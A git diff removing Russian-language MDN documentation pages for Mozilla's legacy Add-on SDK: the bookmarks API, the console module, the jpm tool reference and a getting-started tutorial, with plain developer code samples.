let { search, UNSORTED } = require("sdk/places/bookmarks");
-
-// Simple query with one object
-search(
-  { query: "firefox" },
-  { sort: "title" }
-).on(end, function (results) {
-  // results matching any bookmark that has "firefox"
-  // in its URL, title or tag, sorted by title
-});
-
-// Multiple queries are OR'd together
-search(
-  [{ query: "firefox" }, { group: UNSORTED, tags: ["mozilla"] }],
-  { sort: "title" }
-).on("end", function (results) {
-  // Our first query is the same as the simple query above;
-  // all of those results are also returned here. Since multiple
-  // queries are OR'd together, we also get bookmarks that
-  // match the second query. The second query's properties
-  // are AND'd together, so results that are in the platform's unsorted
-  // bookmarks folder, AND are also tagged with 'mozilla', get returned
-  // as well in this query
-});
- -

Globals

- -

Constructors

- -

Bookmark(options)

- -

Creates an unsaved bookmark instance.

- -
Parameters
- -

options : object
- Required options:

- - - - - - - - - - - - - - - - - - - - - -
NameType 
titlestring -

The title for the bookmark. Required.

-
urlstring -

The URL for the bookmark. Required.

-
- -

Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
groupGroup -

The parent group that the bookmark lives under. Defaults to the Bookmarks.UNSORTED group.

-
indexnumber -

The index of the bookmark within its group. Last item within the group by default.

-
tagsset -

A set of tags to be applied to the bookmark.

-
- -

Group(options)

- -

Creates an unsaved bookmark group instance.

- -
Parameters
- -

options : object
- Required options:

- - - - - - - - - - - - - - - - -
NameType 
titlestring -

The title for the group. Required.

-
- -

Optional options:

- - - - - - - - - - - - - - - - - - - - - -
NameType 
groupGroup -

The parent group that the bookmark group lives under. Defaults to the Bookmarks.UNSORTED group.

-
indexnumber -

The index of the bookmark group within its parent group. Last item within the group by default.

-
- -

Separator(options)

- -

Creates an unsaved bookmark separator instance.

- -
Parameters
- -

options : object
- Optional options:

- - - - - - - - - - - - - - - - - - - - - -
NameType 
groupGroup -

The parent group that the bookmark group lives under. Defaults to the Bookmarks.UNSORTED group.

-
indexnumber -

The index of the bookmark group within its parent group. Last item within the group by default.

-
- -

Functions

- -

save(bookmarkItems, options)

- -

Creating, saving, and deleting bookmarks are all done with the save() function. This function takes in any of:

- - - -

All of the items passed in are pushed to the platform and are either created, updated or deleted.

- - - -

The function returns a PlacesEmitter that emits a data event for each item as it is saved, and an end event when all items have been saved.

- -
let { Bookmark, Group } = require("sdk/places/bookmarks");
-
-let myGroup = Group({ title: "My Group" });
-let myBookmark = Bookmark({
-  title: "Moz",
-  url: "http://mozilla.com",
-  group: myGroup
-});
-
-save(myBookmark).on("data", function (item, inputItem) {
-  // The `data` event returns the latest snapshot from the
-  // host, so this is a new instance of the bookmark item,
-  // where `item !== myBookmark`. To match it with the input item,
-  // use the second argument, so `inputItem === myBookmark`
-
-  // All explicitly saved items have data events called, as
-  // well as implicitly saved items. In this case,
-  // `myGroup` has to be saved before `myBookmark`, since
-  // `myBookmark` is a child of `myGroup`. `myGroup` will
-  // also have a `data` event called for it.
-}).on("end", function (items, inputItems) {
-  // The `end` event returns all items that are explicitly
-  // saved. So `myGroup` will not be in this array,
-  // but `myBookmark` will be.
-  // `inputItems` matches the initial input as an array,
-  // so `inputItems[0] === myBookmark`
-});
-
-// Saving multiple bookmarks, as duck-types in this case
-
-let bookmarks = [
-  { title: "mozilla", url: "http://mozilla.org", type: "bookmark" },
-  { title: "firefox", url: "http://firefox.com", type: "bookmark" },
-  { title: "twitter", url: "http://twitter.com", type: "bookmark" }
-];
-
-save(bookmarks).on("data", function (item, inputItem) {
-  // Each item in `bookmarks` has its own `data` event
-}).on("end", function (results, inputResults) {
-  // `results` is an array of items saved in the same order
-  // as they were passed in.
-});
- -
Parameters
- -

bookmarkItems : bookmark|group|separator|array
- A bookmark item (Bookmark, Group, Separator), or an array of bookmark items to be saved.

- -

options : object
- Optional options:

- - - - - - - - - - - - - - - - -
NameType 
resolvefunction -

A resolution function that is invoked during an attempt to save a bookmark item that is not derived from the latest state from the platform. Invoked with two arguments, mine and platform, where mine is the item that is being saved, and platform is the current state of the item on the item. The object returned from this function is what is saved on the platform. By default, all changes on an outdated bookmark item overwrite the platform's bookmark item.

-
- -
Returns
- -

PlacesEmitter : Returns a PlacesEmitter.

- -

remove(items)

- -

A helper function that takes in a bookmark item, or an Array of several bookmark items, and sets each item's remove property to true. This does not remove the bookmark item from the database: it must be subsequently saved.

- -
let { search, save, remove } = require("sdk/places/bookmarks");
-
-search({ tags: ["php"] }).on("end", function (results) {
-  // The search returns us all bookmark items that are
-  // tagged with `"php"`.
-
-  // We then pass `results` into the remove function to mark
-  // all items to be removed, which returns the new modified `Array`
-  // of items, which is passed into save.
-  save(remove(results)).on("end", function (results) {
-    // items tagged with `"php"` are now removed!
-  });
-})
- -
Parameters
- -

items : Bookmark|Group|Separator|array
- A bookmark item, or Array of bookmark items to be transformed to set their remove property to true.

- -
Returns
- -

array : An array of the transformed bookmark items.

- -

search(queries, options)

- -

Queries can be performed on bookmark items by passing in one or more query objects, each of which is given one or more properties.

- -

Within each query object, the properties are AND'd together: so only objects matching all properties are retrieved. Across query objects, the results are OR'd together, meaning that if an item matches any of the query objects, it will be retrieved.

- -

For example, suppose we called search() with two query objects:

- -
[{ url: "mozilla.org", tags: ["mobile"]},
-{ tags: ["firefox-os"]}]
- -

This will return:

- - - -

An options object may be used to determine overall settings such as sort order and how many objects should be returned.

- -
Parameters
- -

queries : object|array
- An Object representing a query, or an Array of Objects representing queries. Each query object can take several properties, which are queried against the bookmarks database. Each property is AND'd together, meaning that bookmarks must match each property within a query object. Multiple query objects are then OR'd together.

- -

options : object
- Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
countnumber -

The number of bookmark items to return. If left undefined, no limit is set.

-
sortstring -

A string specifying how the results should be sorted. Possible options are 'title', 'date', 'url', 'visitCount', 'dateAdded' and 'lastModified'.

-
descendingboolean -

A boolean specifying whether the results should be in descending order. By default, results are in ascending order.

-
- -

Properties

- - - -

This is a constant, default Group on the Firefox platform, the Bookmarks Menu. It can be used in queries or specifying the parent of a bookmark item, but it cannot be modified.

- -

TOOLBAR

- -

This is a constant, default Group on the Firefox platform, the Bookmarks Toolbar. It can be used in queries or specifying the parent of a bookmark item, but it cannot be modified.

- -

UNSORTED

- -

This is a constant, default Group on the Firefox platform, the Unsorted Bookmarks group. It can be used in queries or specifying the parent of a bookmark item, but it cannot be modified.

- -

Bookmark

- -

Properties

- -

title

- -

The bookmark's title.

- -

url

- -

The bookmark's URL.

- -

group

- -

The group instance that the bookmark lives under.

- -

index

- -

The index of the bookmark within its group.

- -

updated

- -

A Unix timestamp indicating when the bookmark was last updated on the platform.

- -

tags

- -

A Set of tags that the bookmark is tagged with.

- -

Group

- -

Properties

- -

title

- -

The bookmark group's title.

- -

group

- -

The group instance that the bookmark group lives under.

- -

index

- -

The index of the bookmark group within its group.

- -

updated

- -

A Unix timestamp indicating when the bookmark was last updated on the platform.

- -

Separator

- -

Properties

- -

group

- -

The group instance that the bookmark group lives under.

- -

index

- -

The index of the bookmark group within its group.

- -

updated

- -

A Unix timestamp indicating when the bookmark was last updated on the platform.

- -

PlacesEmitter

- -

The PlacesEmitter is not exported from the module, but returned from the save and search functions. The PlacesEmitter inherits from event/target, and emits data, error, and end.

- -

data events are emitted for every individual operation (such as: each item saved, or each item found by a search query), whereas end events are emitted as the aggregate of an operation, passing an array of objects into the handler.

- -

Events

- -

data

- -

The data event is emitted when a bookmark item that was passed into the save method has been saved to the platform. This includes implicit saves that are dependencies of the explicit items saved. For example, when creating a new bookmark group with two bookmark items as its children, and explicitly saving the two bookmark children, the unsaved parent group will also emit a data event.

- -
let { Bookmark, Group, save } = require("sdk/places/bookmarks");
-
-let group = Group({ title: "my group" });
-let bookmarks = [
-  Bookmark({ title: "mozilla", url: "http://mozilla.com", group: group }),
-  Bookmark({ title: "w3", url: "http://w3.org", group: group })
-];
-
-save(bookmarks).on("data", function (item) {
-  // This function will be called three times:
-  // once for each bookmark saved
-  // once for the new group specified implicitly
-  // as the parent of the two items
-});
- -

The data event is also called for search requests, with each result being passed individually into its own data event.

- -
let { search } = require("sdk/places/bookmarks");
-
-search({ query: "firefox" }).on("data", function (item) {
-  // each bookmark item that matches the query will
-  // be called in this function
-});
- -
Arguments
- -

Bookmark|Group|Separator : For the save function, this is the saved, latest snapshot of the bookmark item. For search, this is a snapshot of a bookmark returned from the search query.

- -

Bookmark|Group|Separator|object : Only in save data events. The initial instance of the item that was used for the save request.

- -

error

- -

The error event is emitted whenever a bookmark item's save could not be completed.

- -
Arguments
- -

string : A string indicating the error that occurred.

- -

Bookmark|Group|Separator|object : Only in save error events. The initial instance of the item that was used for the save request.

- -

end

- -

The end event is called when all bookmark items and dependencies have been saved, or an aggregate of all items returned from a search query.

- -
Arguments
- -

array : The array is an ordered list of the input bookmark items, replaced with their updated, latest snapshot instances (the first argument in the data handler), or in the case of an error, the initial instance of the item that was used for the save request (the second argument in the data or error handler).

diff --git a/files/ru/mozilla/add-ons/sdk/tools/console/index.html b/files/ru/mozilla/add-ons/sdk/tools/console/index.html deleted file mode 100644 index d28b31d127..0000000000 --- a/files/ru/mozilla/add-ons/sdk/tools/console/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: console -slug: Mozilla/Add-ons/SDK/Tools/console -translation_of: Archive/Add-ons/Add-on_SDK/Tools/console ---- -

Enables your add-on to log error, warning or informational messages. If you have started Firefox for your add-on from the command line with cfx run or cfx test then these messages appear in the command shell you used. If the add-on has been installed in Firefox, then the messages appear in the Browser Console.

-

If you're developing your add-on using the Extension Auto-installer, then the add-on is installed in Firefox, meaning that messages will appear in the Browser Console. But see the discussion of logging levels: by default, messages logged using log(), info(), trace(), or warn() won't be logged in these situations.

-

Console Methods

-

All console methods except exception() and trace() accept one or more JavaScript objects as arguments and log them to the console. Depending on the console's underlying implementation and user interface, you may be able to examine the properties of non-primitive objects that are logged.

-

console.debug(object[, object, ...])

-

Logs the arguments to the console, preceded by "debug:" and the name of your add-on:

-
console.debug("This is a debug message");
-
debug: my-addon: This is a debug message
-
-

console.error(object[, object, ...])

-

Logs the arguments to the console, preceded by "error:" and the name of your add-on:

-
console.error("This is an error message");
-
error: my-addon: This is an error message
-
-

console.exception(exception)

-

Logs the given exception instance as an error, outputting information about the exception's stack traceback if one is available.

-
try {
-   doThing();
-} catch (e) {
-   console.exception(e);
-}
-
-function UserException(message) {
-   this.message = message;
-   this.name = "UserException";
-}
-
-function doThing() {
-  throw new UserException("Thing could not be done!");
-}
-
error: my-addon: An exception occurred.
-UserException: Thing could not be done!
-
-

console.info(object[, object, ...])

-

A synonym for console.log().

-

console.log(object[, object, ...])

-

Logs the arguments to the console, preceded by "info:" and the name of your add-on:

-
console.log("This is an informational message");
-
info: my-addon: This is an informational message
-
-

console.time(name)

-

Starts a timer with a name specified as an input parameter. Up to 10,000 simultaneous timers can run on a given page.

-

console.timeEnd(name)

-

Stops the specified timer and logs the elapsed time in seconds since its start. See Timers.

-

console.trace()

-

Logs a stack trace at the point the function is called.

-

console.warn(object[, object, ...])

-

Logs the arguments to the console, preceded by "warn:" and the name of your add-on:

-
console.warn("This is a warning message");
-
warn: my-addon: This is a warning message
-
-

Logging Levels

-

Logging's useful, of course, especially during development. But the more logging there is, the more noise you see in the console output. Especially when debug logging shows up in a production environment, the noise can make it harder, not easier, to debug issues.

-

This is the problem that logging levels are designed to fix. The console defines a number of logging levels, from "more verbose" to "less verbose", and a number of different logging functions that correspond to these levels, which are arranged in order of "severity" from informational messages, through warnings, to errors.

-

At a given logging level, only calls to the corresponding functions and functions with a higher severity will have any effect.

-

For example, if the logging level is set to "info", then calls to info(), log(), warn(), and error() will all result in output being written. But if the logging level is "warn" then only calls to warn() and error() have any effect, and calls to info() and log() are simply discarded.

-

This means that the same code can be more verbose in a development environment than in a production environment - you just need to arrange for the appropriate logging level to be set.

-

The complete set of logging levels is given in the table below, along with the set of functions that will result in output at each level:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
LevelWill log calls to:
allAny console method
debugdebug(), error(), exception(), info(), log(), time(), timeEnd(), trace(), warn()
infoerror(), exception(), info(), log(), time(), timeEnd(), trace(), warn()
warnerror(), exception(), warn()
errorerror(), exception()
offNothing
-

Setting the Logging Level

-

The logging level defaults to "error".

-

There are two system preferences that can be used to override this default:

- -

Both these preferences can be set programmatically using the preferences/service API, or manually using about:config. The value for each preference is the desired logging level, given as a string.

-

When you run your add-on using cfx run or cfx test, the global extensions.sdk.console.logLevel preference is automatically set to "info". This means that calls to console.log() will appear in the console output.

-

When you install an add-on into Firefox, the logging level will be "error" by default (that is, unless you have set one of the two preferences). This means that messages written using debug(), log(), info(), trace(), and warn() will not appear in the console.

-

This includes add-ons being developed using the Extension Auto-installer.

diff --git a/files/ru/mozilla/add-ons/sdk/tools/index.html b/files/ru/mozilla/add-ons/sdk/tools/index.html deleted file mode 100644 index b55c672f17..0000000000 --- a/files/ru/mozilla/add-ons/sdk/tools/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Tools -slug: Mozilla/Add-ons/SDK/Tools -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Add-on_SDK/Tools ---- -

Articles listed here provide a reference for the SDK's tools:

-

{{ LandingPageListSubpages ("/en-US/Add-ons/SDK/Tools", 5) }}

diff --git a/files/ru/mozilla/add-ons/sdk/tools/jpm/index.html b/files/ru/mozilla/add-ons/sdk/tools/jpm/index.html deleted file mode 100644 index dbfacde500..0000000000 --- a/files/ru/mozilla/add-ons/sdk/tools/jpm/index.html +++ /dev/null @@ -1,497 +0,0 @@ ---- -title: jpm -slug: Mozilla/Add-ons/SDK/Tools/jpm -translation_of: Archive/Add-ons/Add-on_SDK/Tools/jpm ---- -
-

Вы можете использовать jpm для Firefox 38 или более поздних версий.

- -

Данный материал относится только для jpm.

-
- -

Это Node-ориентированная замена устаревшего cfx. Позволяет тестировать, запускать и создавать дополнения для Firefox.

- -

Смотри также jpm tutorial.

- -

jpm вызывается через:

- -
jpm [command] [options]
-
- -

jpm поддерживает следующие глобальные опции:

- -
-h, --help        - show a help message and exit
--V, --version     - print the jpm version number
-
- -

Установка

- -

jpm распространяется с помощью менеджера пакетов npm, поэтому чтобы установить jpm, вам необходимо предварительно установить менеджер пакетов npm, если вы этого ещё не сделали. npm входит в Node.js, поэтому чтобы установить npm - посетите nodejs.org и нажмите кнопку INSTALL.

- -

После этого вы можете установить jpm, как и любой другой npm пакет:

- -
npm install jpm -g
- -

В зависимости от настроек и операционной системы, вам может потребоваться запустить его с правами администратора (Linux: Debian, Ubuntu, и т.п.):

- -
sudo npm install jpm -g
- -

После установки введите в командной строке:

- -
jpm
- -

Вы должны увидеть краткое описание доступных команд. Обратите внимание, что в отличие от cfx, jpm доступно из любой запущенной командной строки, в случае, если при установке jpm использовался флаг -g.

- -

Проблемы?

- -

Если у вас возникли проблемы, то обратитесь за помощью. Пользователи SDK и участники проекта готовы обсудить и предложения в project mailing list. Попробуйте поискать там, возможно похожий вопрос уже обсуждался там. Вы также можете обратиться к пользователям SDK в #jetpack на Mozilla's IRC network.

- -

Справочник команд

- -

В jpm доступно шесть команд:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
jpm initСоздать каркас дополнения в качестве отправной точки для создания вашего дополнения.
jpm runЗапустить копию Firefox с установленным дополнением.
jpm testЗапуск тестирования модуля вашего дополнения.
jpm xpiУпаковать дополнение в XPI пакет, формат файла установки для дополнений Firefox.
jpm postУпаковать дополнение в пакет XPI и отправить на URL.
jpm watchpostУпаковывать дополнение в пакет XPI и отправлять на URL при каждом изменении файла.
- -

jpm init

- -

Данная команда инициализирует новое дополнение, с нуля.

- -

Для этого создайте новый каталог, перейдите в него и запустите jpm init.

- -
mkdir my-addon
-cd my-addon
-jpm init
- -

Вам будет предложено указать некоторую информацию о вашем дополнении: данная информация будет использована для создания файла настроек дополнения package.json.

- - - -

Большинство из этих полей имеют значения по умолчанию, который указан в скобках после вопроса. Если вы просто нажмите Enter, то в настройках будет указано значение по умолчанию.

- -

После того как вы укажете значения или выберите значение по умолчанию для этих свойств, вам будет показано полное содержание "package.json" и предложено принять его.

- -

После jpm создаст каркас дополнения в качестве отправной точки для разрабатываемого вами дополнения, со следующей структурой файлов:

- - - -

jpm run

- -

Эта команда запускает новый экземпляр Firefox с подключенным дополнением:

- -
jpm run
- -

jpm run принимает следующие значения:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-b --binary BINARY -

Use the version of Firefox specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory.

- -
-jpm run -b /path/to/Firefox/Nightly
- See Selecting a browser version.
--binary-args CMDARGS -

Pass extra arguments to Firefox.

- -

For example, to pass the -jsconsole argument to Firefox, which will launch the Browser Console, try the following:

- -
-jpm run --binary-args -jsconsole
- -

To pass multiple arguments, or arguments containing spaces, quote them:

- -
-jpm run --binary-args '-url mzl.la -jsconsole'
-
--debugRun the add-on debugger attached to the add-on.
-o --overload PATH -

Rather than use the SDK modules built into Firefox, use the modules found at PATH. If -o is specified and PATH is omitted, jpm will look for the JETPACK_ROOT environment variable and use its value as the path.

- -

See Overloading the built-in modules for more information.

-
-p --profile= PROFILE -

By default, jpm uses a clean temporary Firefox profile each time you call jpm run. Use the --profile option to instruct jpm to launch Firefox with an existing profile.

- -

The PROFILE value may be a profile name or the path to the profile.

- -

See Using profiles for more information.

-
-v --verboseVerbose operation.
--no-copy -
Use with caution because jpm run|test changes many preferences, never use with your main profile.
- -
This only applies when --profile is used.
- Disables the copying of the profile used, which allows one to reuse a profile.
 
- -

jpm test

- -

Команда запускает тестирование дополнения. Происходит следующее:

- - - -
jpm test
-
- -

See the tutorial on unit testing and the reference documentation for the assert module for more details on this.

- -

jpm test accepts the following options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-b --binary BINARY -

Use the version of Firefox specified in BINARY. BINARY may be specified as a full path or as a path relative to the current directory.

- -
-jpm test -b /path/to/Firefox/Nightly
- -

See Selecting a browser version.

-
--binary-args CMDARGS -

Pass extra arguments to Firefox.

- -

For example, to pass the -jsconsole argument to Firefox, which will launch the Browser Console, try the following:

- -
-jpm test --binary-args -jsconsole
- -

To pass multiple arguments, or arguments containing spaces, quote them:

- -
-jpm test --binary-args '-url mzl.la -jsconsole'
-
--debugRun the add-on debugger attached to the add-on.
-f --filter FILE[:TEST] -

Only run tests whose filenames match FILE and optionally match TEST, both regexps.

- -
-jpm test --filter base64:btoa
- -

The above command only runs tests in files whose names contain "base64", and in those files only runs tests whose names contain "btoa".

-
-o --overload PATH -

Rather than use the SDK modules built into Firefox, use the modules found at PATH. If -o is specified and PATH is omitted, jpm will look for the JETPACK_ROOT environment variable and use its value as the path.

- -

See Overloading the built-in modules for more information.

-
-p --profile PROFILE -

By default, jpm uses a clean temporary Firefox profile each time you call jpm run. Use the --profile option to instruct jpm to launch Firefox with an existing profile.

- -

The PROFILE value may be a profile name or the path to the profile.

- -

See Using profiles for more information.

-
--stop-on-error -

By default jpm test keeps running tests even after tests fail. Specify --stop-on-error to stop running tests after the first failure:

- -
-jpm test --stop-on-error
-
--tbplPrint test output in Treeherder format
--times NUMBER -

Run tests NUMBER of times:

- -
-jpm test --times 2
-
-v --verboseVerbose operation.
--no-copy -
Use with caution because jpm run|test changes many preferences, never use with your main profile.
- -
This only applies when --profile is used.
- Disables the copying of the profile used, which allows one to reuse a profile.
- -

jpm xpi

- -

Эта команда собирает дополнение в пакет XPI. Это формат дополнений, которые можно легко установить Mozilla.

- -
jpm xpi
- -

It looks for a file called package.json in the current directory and creates the corresponding XPI file. It ignores any ZIPs or XPIs in the add-on's root, and any test files.

- -

Once you have built an XPI file you can distribute your add-on by submitting it to addons.mozilla.org.

- -

jpm xpi accepts the following option:

- - - - - - - - -
-v --verbose -

Verbose operation:

- -
-jpm xpi -v
-
- -

jpm post

- -

This command packages the add-on as an XPI file, the posts it to some url.

- -
jpm post
- -

It looks for a file called package.json in the current directory and creates a XPI file with which to post to the --post-url.

- -

jpm post accepts the following options:

- - - - - - - - - - - - -
--post-url URL -

The url to post the extension to after creating a XPI.

- -
-jpm post --post-url http://localhost:8888/
- -

See Using Post and Watchpost for more information.

-
-v --verbose -

Verbose operation:

- -
-jpm post --post-url http://localhost:8888/ -v
-
- -

jpm watchpost

- -

This command packages the add-on as an XPI file, the posts it to some url whenever a file in the current working directory changes.

- -
jpm watchpost
- -

Creates a XPI whenever a file in the current working directory changes and posts that to the --post-url.

- -

jpm watchpost accepts the following options:

- - - - - - - - - - - - -
--post-url URL -

The url to post the extension to after creating a XPI.

- -
-jpm watchpost --post-url http://localhost:8888/
- -

See Using Post and Watchpost for more information.

-
-v --verbose -

Verbose operation:

- -
-jpm watchpost --post-url http://localhost:8888/ -v
-
- -

Techniques

- -

Selecting a browser version

- -

By default, jpm run and jpm test will run the release version of Firefox. You can instruct jpm to use a different version in one of two ways:

- - - -

Using .jpmignore to ignore files

- -

Using .jpmignore is similar to using .gitignore with git, .hgignore with Mercurial, or .npmignore with npm. By using this file you can let jpm know which files you would like it to ignore when building a .xpi file with jpm xpi.

- -

Here is an example:

- -
# Ignore .DS_Store files created by mac
-.DS_Store
-
-# Ignore any zip or xpi files
-*.zip
-*.xpi
-
- -

A .jpmignore file with the above contents would ignore all zip files and .DS_Store files from the xpi generated by jpm xpi.

- -

Using profiles

- -

By default, jpm run uses a new profile each time it is executed. This means that any profile-specific data entered from one run of jpm will not, by default, be available in the next run.

- -

This includes, for example, any extra add-ons you installed, or your history, or any data stored using the simple-storage API.

- -

To make jpm use a specific profile, pass the --profile option, specifying the name of the profile you wish to use, or the path to the profile.

- -
jpm run --profile boogaloo
-
- -
jpm run --profile path/to/boogaloo
- -

If you supply --profile but its argument is not the name of or path to an existing profile, jpm will open the profile manager,  enabling you to select and existing profile or create a new one:

- -
jpm run --profile i-dont-exist
- -

Developing without browser restarts

- -

Because jpm run restarts the browser each time you invoke it, it can be a little cumbersome if you are making very frequent changes to an add-on. An alternative development model is to use the Extension Auto-Installer add-on: this listens for new XPI files on a specified port and installs them automatically. That way you can test new changes without needing to restart the browser:

- - - -

You could even automate this workflow with a simple script. For example:

- -
jpm watchpost --post-url http://localhost:8888/
-
- -

Note that the logging level defined for the console is different when you use this method, compared to the logging level used when an add-on is run using jpm run. This means that if you want to see output from console.log() messages, you'll have to tweak a setting. See the documentation on logging levels for the details on this.

- -

Overloading the built-in modules

- -

The SDK modules you use to implement your add-on are built into Firefox. When you run or package an add-on using jpm run or jpm xpi, the add-on will use the versions of the modules in the version of Firefox that hosts it.

- -

As an add-on developer, this is usually what you want. But if you're developing the SDK modules themselves, of course, it isn't. In this case you need to:

- - - -
jpm run -o
-
- -

This instructs jpm to use the local copies of the SDK modules, not the ones in Firefox. If you don't want to set the JETPACK_ROOT environment variable, you can pass the location of your copy of the SDK modules along with -o:

- -
jpm run -o "/path/to/SDK/"
diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html deleted file mode 100644 index d9453e9767..0000000000 --- a/files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Создание простого Add-on (jpm) -slug: Mozilla/Add-ons/SDK/Tutorials/Getting_Started_(jpm) -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Getting_Started_(jpm) ---- -
-

The Add-on SDK includes a command-line tool that you use to initialize, run, test, and package add-ons. The current tool is called jpm, and is based on Node.js. It replaces the old cfx tool.

- -

You can use jpm from Firefox 38 onwards.

- -

This article describes how to develop using jpm.

-
- -

This tutorial walks through creating a simple add-on using the SDK.

- -

Prerequisites

- -

To create add-ons for Firefox using the SDK, you'll need:

- - - -

Initializing an empty add-on

- -

In the command prompt, create a new directory. Navigate to it, type jpm init, and hit enter:

- -
mkdir my-addon
-cd my-addon
-jpm init
-
- -

You'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file. For now, just press Enter to accept the default for each property. For more information on jpm init, see the jpm command reference.

- -

Once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to accept it.

- -

Implementing the add-on

- -

Now you can write the add-on's code. Unless you've changed the value of "entry point" ("main" in package.json), this goes in "index.js" file in the root of your add-on. This file was created for you in the previous step. Open it and add the following code:

- -
var buttons = require('sdk/ui/button/action');
-var tabs = require("sdk/tabs");
-
-var button = buttons.ActionButton({
-  id: "mozilla-link",
-  label: "Visit Mozilla",
-  icon: {
-    "16": "./icon-16.png",
-    "32": "./icon-32.png",
-    "64": "./icon-64.png"
-  },
-  onClick: handleClick
-});
-
-function handleClick(state) {
-  tabs.open("http://www.mozilla.org/");
-}
-
- -
-

Note that "entry point" defaults to "index.js" in jpm, meaning that your main file is "index.js", and it is found directly in your add-on's root.

- -

In cfx, the entry point defaults to "main.js", and is located in the "lib" directory under the add-on's root.

-
- -

Save the file.

- -

Next, create a directory called "data" in your add-on's root, and save these three icon files to the "data" directory:

- - - - - - - - - - - - - - - - -
icon-16.png
icon-32.png
icon-64.png
- -

Back at the command prompt, type:

- -
jpm run
- -

This is the jpm command to run a new instance of Firefox with your add-on installed.

- -

If Firefox can not be located, you may need to provide the path to it (example in Ubuntu):

- - -
jpm run -b /usr/bin/firefox
- -

When Firefox launches, in the top-right corner of the browser you'll see an icon with the Firefox logo. Click the icon, and a new tab will open with http://www.mozilla.org/ loaded into it.

- -

That's all this add-on does. It uses two SDK modules: the action button module, which enables you to add buttons to the browser, and the tabs module, which enables you to perform basic operations with tabs. In this case, we've created a button whose icon is the Firefox icon, and added a click handler that loads the Mozilla home page in a new tab.

- -

Try editing this file. For example, we could change the page that gets loaded:

- -
var buttons = require('sdk/ui/button/action');
-var tabs = require("sdk/tabs");
-
-var button = buttons.ActionButton({
-  id: "mozilla-link",
-  label: "Visit Mozilla",
-  icon: {
-    "16": "./icon-16.png",
-    "32": "./icon-32.png",
-    "64": "./icon-64.png"
-  },
-  onClick: handleClick
-});
-
-function handleClick(state) {
-  tabs.open("https://developer.mozilla.org/");
-}
- -

At the command prompt, execute jpm run again. This time clicking it takes you to https://developer.mozilla.org/.

- -

Packaging the add-on

- -

When you've finished the add-on and are ready to distribute it, you'll need to package it as an XPI file. This is the installable file format for Firefox add-ons. You can distribute XPI files yourself or publish them to https://addons.mozilla.org so other users can download and install them.

- -

To build an XPI, just execute the command jpm xpi from the add-on's directory:

- -
jpm xpi
-
- -

You should see a message like:

- -
JPM info Successfully created xpi at /path/to/getting-started/@getting-started.xpi
-
- -

To test that this worked, try installing the XPI file in your own Firefox installation. You can do this by pressing the Ctrl+O key combination (Cmd+O on Mac) from within Firefox, or selecting the "Open" item from Firefox's "File" menu. This will bring up a file selection dialog: navigate to the "@getting-started.xpi" file, open it and follow the prompts to install the add-on.

- -

Summary

- -

In this tutorial we've built and packaged an add-on using three commands:

- - - -

These are the three main commands you'll use when developing SDK add-ons. There's comprehensive reference documentation covering all the commands you can use and all the options they take.

- -

The add-on code itself uses two SDK modules, action button and tabs. There's reference documentation for all the high-level and low-level APIs in the SDK.

- -

What's next?

- -

To get a feel for some of the things you can do with the SDK APIs, try working through some of the tutorials.

diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/index.html deleted file mode 100644 index 277c5573d9..0000000000 --- a/files/ru/mozilla/add-ons/sdk/tutorials/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Tutorials -slug: Mozilla/Add-ons/SDK/Tutorials -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials ---- -

Эта страница содержит практические статьи о том как выполнять конкретные задачи используя SDK.

- -
-

Начало работы

- -
-
-
-
Установка
-
Скачивание, установка и инициализация комплекта средств разработки (SDK) для Windows, OS X и Linux.
-
- -
-
Исправление проблем
-
Несколько указаний для фиксации общих пролбем и получение дополнительной помощи.
-
-
- -
-
-
Создание простого дополнения (Add-on)
-
Пошаговое руководство по созданию простого дополнения при помощи SDK и jpm.
-
-
-
- -
-

Создание пользовательского интерфейса

- -
-
-
-
Добавление кнопи панели инструментов
-
Прикрепление кнопки к панели инструментов дополнений Firefox.
-
Добавление элементов меню Firefox
-
Добавление элементов в основные меню Firefox.
-
-
- -
-
-
Отображение высплывающего окна (popup)
-
Отображение всплывающего диалогового окна и его реализация с помощью HTML и JavaScript.
-
Добавление элемента контекстного меню
-
Добавление элементов контекстных меню Firefox.
-
-
-
- -
-

Взаимодействие с браузером

- -
-
-
-
Загрузка вебстраниц
-
Загрузка вебстраниц в новой вкладке или новом окне с использованием модуля вкладок (tabs module), и доступ к их содержимому.
-
Отслеживание загрузки страниц
-
Использование модуля вкладок (tabs module) для получения оповещений о загрузке новых вебстраниц и доступа к их содержимому.
-
-
- -
-
-
Получение списка открытых вкладок
-
Использование модуля вкладок (tabs module) для перебора открытых вкладок и доступа к их содержимому.
-
-
-
- -
-

Изменение вебстраниц

- -
-
-
-
Изменение вебстраниц на основе URL
-
Создание фильтров для вебстраниц на основе их URL: всякий раз, когда загрузится вебстраница, чей URL соответствует фильтру, на ней выполнится заданный сценарий.
-
-
- -
-
-
Изменение активной вебстраницы
-
Динамическая загрузка сценария на текущую активную вебстраницу.
-
-
-
- -
-

Техники разработки

- -
-
-
-
Логгирование
-
Вывод сообщений в консоль для диагностики.
-
Создание повторно используемых модулей
-
Структурирование дополнения в отдельные модули, чтобы упростить разработку, отладку и поддержку. Создание повторно используемых пакетов, содержащих ваши модули, чтобы другие разработчики могли их использовать.
-
Модульное тестирование
-
Написание и запуск модульных тестов с использованием тестовой среды SDK.
-
Полномочия Chrome
